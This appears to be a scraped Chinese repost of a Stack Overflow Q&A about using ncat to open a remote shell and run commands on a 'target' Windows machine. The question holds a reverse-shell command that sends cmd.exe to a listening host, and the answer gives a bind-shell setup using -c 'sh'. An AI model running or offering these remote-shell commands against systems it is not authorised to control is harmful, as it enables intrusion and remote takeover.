gpt4 book ai didi

linux - Ncat 连接并立即在 Windows 上执行命令

转载 作者:太空宇宙 更新时间:2023-11-04 09:20:13 44 4
gpt4 key购买 nike

我正在尝试找出一种方法来从监听的 Linux 机器打开 netcat 连接并立即在目标 Windows 机器(例如 dir 或 ipconfig)上执行命令。

类似的东西:

Linux 机器:

nc -lvp 4444; dir

Windows 机器:

ncat 192.168.1.25 4444 -e cmd.exe

我需要在与 Windows 机器建立连接后立即运行命令。

如果这可以用 bash 脚本来完成,那也太好了。我尝试编写脚本,但在进入 Windows 命令外壳后它不会注册任何命令。

如有任何帮助或建议,我们将不胜感激!谢谢。

最佳答案

https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

这可能会有帮助。

应该是:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>

关于linux - Ncat 连接并立即在 Windows 上执行命令,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42824588/

44 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com